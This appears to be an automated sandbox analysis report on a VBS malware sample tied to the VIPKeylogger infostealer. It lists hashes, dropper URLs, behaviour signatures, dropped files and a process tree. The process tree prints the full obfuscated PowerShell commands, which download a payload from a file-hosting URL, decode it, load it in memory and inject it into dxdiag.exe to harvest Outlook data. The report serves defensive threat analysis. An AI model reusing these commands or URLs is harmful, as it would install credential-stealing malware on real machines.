Analysis

  • max time kernel
    124s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 03:05

General

  • Target

    e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs

  • Size

    12KB

  • MD5

    4e9b8807134dfb560b0eb3f0bf8705af

  • SHA1

    086e955967a78b02bb006f3d2755dfc49c536990

  • SHA256

    e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850

  • SHA512

    62dc169e27636a9baee657969f0e678b582a6a4a4b595fb242b037be53ab70c410c241d2f3c0b22f64c1bf7ad429fabc6f2705042f43f53dabc13d0e1369e99b

  • SSDEEP

    192:spKV/HwG/IUUtbeDQgGHOgy9w3Kjv3H03f7sbcS/7XQx74DGICrZOnips3SkvDA:fV4N//ICrZOnips3Sl

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3256
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1876
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVudjpDb01TcEVDWzQsMTUsMjVdLWpPSW4nJykoKCdOdGZpbWFnZVVybCA9IHBlTmh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbycrJzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfJysnVDM1dyZwa18nKyd2aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgcGVOO050ZndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllJysnbnQ7TnRmaW1hZ2UnKydCeXRlcyA9IE50ZndlYkNsaWVudC5Eb3dubG9hZERhdGEoTnRmaW1hZ2VVcmwpO050ZmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4JysndC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKE50ZmltYWdlQnl0ZXMpO050ZnN0YXJ0RmxhZyA9IHBlTjwnKyc8QkFTRTY0X1NUQVJUPj5wZU47TnRmZW5kRmxhZyA9IHBlTjw8QicrJ0FTRTY0X0VORD4+cGVOO050ZnN0YXJ0SW5kZXggPSBOdGZpbWFnZVRleHQuSW5kZXhPZihOdGZzdGFydEZsYWcpO050ZmVuZEluZGV4ID0gTnRmaW1hZ2VUZXh0LkluZGV4T2YoTnRmJysnZW5kRmxhZyk7TicrJ3Rmc3RhcnRJbmRleCAtZ2UgMCAtYW5kIE50ZmVuZEluZGV4IC1ndCBOdGZzdGFydEluZGV4OycrJ050ZnN0YXJ0SScrJ25kZXggKz0gTnRmc3RhcnRGbGFnLkxlbmd0aDsnKydOdGZiYXNlNjRMZW5ndGggPSBOdGZlbmRJbmRleCAtIE50ZnN0YScrJ3J0SW5kZXg7TnRmYmFzZTY0Q29tbWEnKyduZCA9IE50ZmltYWdlVGV4dC4nKydTdWJzdHJpJysnbmcoTnRmc3RhcnQnKydJbmRleCwgTnRmYmFzZTY0TGVuZ3RoKTtOdGZiYXNlJysnNjRSZXZlcnNlZCA9IC1qb2luIChOdGZiJysnYXNlNjRDJysnb21tYW5kLlQnKydvQ2hhckFycmF5KCkgbUxoIEZvckVhY2gtT2JqZWN0IHsgTnRmXyB9KVstMS4uLShOdGZiYXNlJysnNjRDb20nKydtYW5kLkxlbmd0aCknKyddO050ZmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF0nKyc6OkZyb21CJysnYXNlNjRTdHJpbmcoTnRmYmFzZTY0UmV2ZXJzZWQpO050ZmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChOdGZjb21tYW5kQnl0ZScrJ3MpOycrJ050ZnZhaU1ldGgnKydvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QocGVOVkFJcGVOKTtOdCcrJ2Z2YWlNZXRob2QuJysnSW52b2tlKE50Zm51bGwsIEAocGVOdHh0LkxTU1dTL2tsby91ZS5oc3Vwd3NyZWxsb3Iuc3VwLy86cHR0aHBlTicrJywgcGVOZGVzYScrJ3RpdmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlJysnTiwgcGVOZGVzYXRpJysndmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlTiwgcGVOMXBlTiwgcGVOZHhkaWFncGVOLCBwJysnZU5kZXNhdGl2YWRvcGVOLCBwZU5kZXNhdGl2YWRvcGVOLHBlJysnTmRlc2F0aXZhZG9wZU4scGVOZGVzYXRpdmFkb3BlTixwZU5kZXNhdGl2YWRvcGVOLHBlTjFwZU4scGVOZGVzYXRpdmFkb3BlTikpOycpLlJlcGxBQ0UoJ21MaCcsW3N0cmlOR11bQ2hhUl0xMjQpLlJlcGxBQ0UoKFtDaGFSXTExMitbQ2hhUl0xMDErW0NoYVJdNzgpLFtzdHJpTkddW0NoYVJdMzkpLlJlcGxBQ0UoKFtDaGFSXTc4K1tDaGFSXTExNitbQ2hhUl0xMDIpLFtzdHJpTkddW0NoYVJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $env:CoMSpEC[4,15,25]-jOIn'')(('NtfimageUrl = peNhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bWo'+'9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_'+'vid=fd4f614bb209c62c1730945176a0904f peN;NtfwebClient = New-Object System.Net.WebClie'+'nt;Ntfimage'+'Bytes = NtfwebClient.DownloadData(NtfimageUrl);NtfimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(NtfimageBytes);NtfstartFlag = peN<'+'<BASE64_START>>peN;NtfendFlag = peN<<B'+'ASE64_END>>peN;NtfstartIndex = NtfimageText.IndexOf(NtfstartFlag);NtfendIndex = NtfimageText.IndexOf(Ntf'+'endFlag);N'+'tfstartIndex -ge 0 -and NtfendIndex -gt NtfstartIndex;'+'NtfstartI'+'ndex += NtfstartFlag.Length;'+'Ntfbase64Length = NtfendIndex - Ntfsta'+'rtIndex;Ntfbase64Comma'+'nd = NtfimageText.'+'Substri'+'ng(Ntfstart'+'Index, Ntfbase64Length);Ntfbase'+'64Reversed = -join (Ntfb'+'ase64C'+'ommand.T'+'oCharArray() mLh ForEach-Object { Ntf_ })[-1..-(Ntfbase'+'64Com'+'mand.Length)'+'];NtfcommandBytes ='+' [System.Convert]'+'::FromB'+'ase64String(Ntfbase64Reversed);NtfloadedAssembly = [System.Reflection.Assembly]::Load(NtfcommandByte'+'s);'+'NtfvaiMeth'+'od = [dnlib.IO.Home].GetMethod(peNVAIpeN);Nt'+'fvaiMethod.'+'Invoke(Ntfnull, @(peNtxt.LSSWS/klo/ue.hsupwsrellor.sup//:ptthpeN'+', peNdesa'+'tivadopeN, peNdesativadope'+'N, peNdesati'+'vadopeN, peNdesativadopeN, peN1peN, peNdxdiagpeN, p'+'eNdesativadopeN, peNdesativadopeN,pe'+'NdesativadopeN,peNdesativadopeN,peNdesativadopeN,peN1peN,peNdesativadopeN));').ReplACE('mLh',[striNG][ChaR]124).ReplACE(([ChaR]112+[ChaR]101+[ChaR]78),[striNG][ChaR]39).ReplACE(([ChaR]78+[ChaR]116+[ChaR]102),[striNG][ChaR]36))"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4980
          • C:\Windows\SysWOW64\dxdiag.exe
            "C:\Windows\SysWOW64\dxdiag.exe"
            5⤵
              PID:3520
            • C:\Windows\SysWOW64\dxdiag.exe
              "C:\Windows\SysWOW64\dxdiag.exe"
              5⤵
              • Accesses Microsoft Outlook profiles
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • outlook_office_path
              • outlook_win_path
              PID:2476

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      1a11402783a8686e08f8fa987dd07bca

      SHA1

      580df3865059f4e2d8be10644590317336d146ce

      SHA256

      9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

      SHA512

      5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f15bnnwk.hal.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf

      Filesize

      1KB

      MD5

      7204c9eb7a0202a3eb5732158ac1e4a7

      SHA1

      b46404c81270dc41fe73c8b33503f08f4522c055

      SHA256

      6181ae6da5b4003eb057e75507fe7d91207a9ac255a0df96f4da7164f31d9a05

      SHA512

      bdaef419803778a1921ad3520e9680aebb2fb9f500db285f0985daadc9159e7a917f97a701c290e0e69aa9f12740bda0bc67707be88be2b0fe5d96366306880b

    • memory/208-3-0x0000025AABF00000-0x0000025AABF22000-memory.dmp

      Filesize

      136KB

    • memory/2476-30-0x0000000004FE0000-0x000000000502E000-memory.dmp

      Filesize

      312KB

    • memory/2476-26-0x0000000000400000-0x0000000000437000-memory.dmp

      Filesize

      220KB

    • memory/2476-23-0x0000000000400000-0x0000000000437000-memory.dmp

      Filesize

      220KB

    • memory/2476-31-0x00000000056B0000-0x0000000005C54000-memory.dmp

      Filesize

      5.6MB

    • memory/2476-32-0x00000000050A0000-0x00000000050EE000-memory.dmp

      Filesize

      312KB

    • memory/2476-33-0x00000000051A0000-0x000000000523C000-memory.dmp

      Filesize

      624KB

    • memory/2476-34-0x00000000063F0000-0x00000000065B2000-memory.dmp

      Filesize

      1.8MB

    • memory/2476-35-0x0000000006280000-0x00000000062D0000-memory.dmp

      Filesize

      320KB

    • memory/2476-36-0x0000000006AF0000-0x000000000701C000-memory.dmp

      Filesize

      5.2MB

    • memory/2476-37-0x00000000068E0000-0x0000000006972000-memory.dmp

      Filesize

      584KB

    • memory/2476-38-0x0000000006680000-0x000000000668A000-memory.dmp

      Filesize

      40KB

    • memory/4980-22-0x0000025C71370000-0x0000025C714C8000-memory.dmp

      Filesize

      1.3MB